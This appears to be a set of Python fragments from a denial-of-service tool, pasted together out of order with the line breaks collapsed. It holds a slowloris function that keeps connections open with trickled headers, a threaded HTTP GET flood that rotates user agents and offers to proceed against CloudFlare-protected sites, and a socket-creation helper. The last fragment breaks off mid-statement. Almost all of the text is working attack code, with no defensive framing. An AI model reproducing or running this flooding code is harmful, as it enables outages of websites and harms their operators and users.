def slowloris_flood(): global FINISH # Init socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(4) sock.connect((target_ip, target_port)) sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint( 0, 2000)).encode("utf-8")) sock.send("User-Agent: {}\r\n".format( randomData.random_useragent()).encode("utf-8")) sock.send( "{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8")) while not FINISH: if not FINISH: # Packet try: sock.send("X-a: {}\r\n".format(random.randint( 1, 5000)).encode("utf-8")) except socket.error: print("\033[1;31m" + "[-]" + "\033[0m" + " Failed to build socket!") else: print("\033[1;34m" + "[*]" + "\033[0m" + " Sending to " + target + "...")
def HTTP_ATTACK(threads, attack_time, target): # Finish global FINISH FINISH = False if ipTools.isCloudFlare(target): if not input("\033[1;33m" + "[!]" + "\033[0m" + " Current site is under CloudFlare protection. \n" + "\033[1m" + "[?]" + "\033[0m" + "Continue? y/N: ") in ("y", "Y", "1"): exit() print("\033[1;34m" + "[*]" + "\033[0m" + " Starting attack...") threads_list = [] # Load 25 random user agents user_agents = [] for _ in range(threads): user_agents.append(randomData.random_useragent()) # HTTP flood def http_flood(): global FINISH while True: if FINISH: break payload = str(random._urandom(random.randint(1, 30))) headers = { "X-Requested-With": "XMLHttpRequest", "Connection": "keep-alive", "Pragma": "no-cache", "Cache-Control": "no-cache", "Accept-Encoding": "gzip, deflate, br", "User-agent": random.choice(user_agents) } try: r = requests.get(target, params=payload) except Exception as e: print(e) time.sleep(2) else: print("\033[1;32m" + "[+]" + "\033[0m" + " Request sent! Payload size: " + str(len(payload)) + "...") # Start threads for thread in range(0, threads): print("\033[1;34m" + "[*]" + "\033[0m" + " Staring thread " + str(thread) + "...") t = Thread(target=http_flood) t.start() threads_list.append(t) # Sleep selected secounds time.sleep(attack_time) # Terminate threads for thread in threads_list: FINISH = True thread.join() print("\033[1;33m" + "[!]" + "\033[0m" + " HTTP attack stopped!")
def create_socket(target): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(4) sock.connect((target[0], target[1])) sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8")) sock.send("User-Agent: {}\r\n".format(randomData.random_useragent()).encode("utf-8")) sock.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8")) except socket.timeout: print(f"{Fore.RED}[-] {Fore.MAGENTA}Timed out..{Fore.RESET}") except socket.error: print(f"{Fore.RED}[-] {Fore.MAGENTA}Failed create socket{Fore.RESET}") else: print(f"{Fore.GREEN}[+] {Fore.YELLOW}Socket created..{Fore.RESET}") return sock
# Import modules import requests import random import tools.randomData as randomData from colorama import Fore # Load user agents user_agents = [] for _ in range(30): user_agents.append(randomData.random_useragent()) # Headers headers = { "X-Requested-With": "XMLHttpRequest", "Connection": "keep-alive", "Pragma": "no-cache", "Cache-Control": "no-cache", "Accept-Encoding": "gzip, deflate, br", "User-agent": random.choice(user_agents), } def flood(target): payload = str(random._urandom(random.randint(10, 150))) try: r = requests.get(target, params=payload, headers=headers, timeout=4) except requests.exceptions.ConnectTimeout: print(f"{Fore.RED}[!] {Fore.MAGENTA}Timed out{Fore.RESET}") except Exception as e: print( f"{Fore.MAGENTA}Error while sending GET request\n{Fore.MAGENTA}{e}{Fore.RESET}"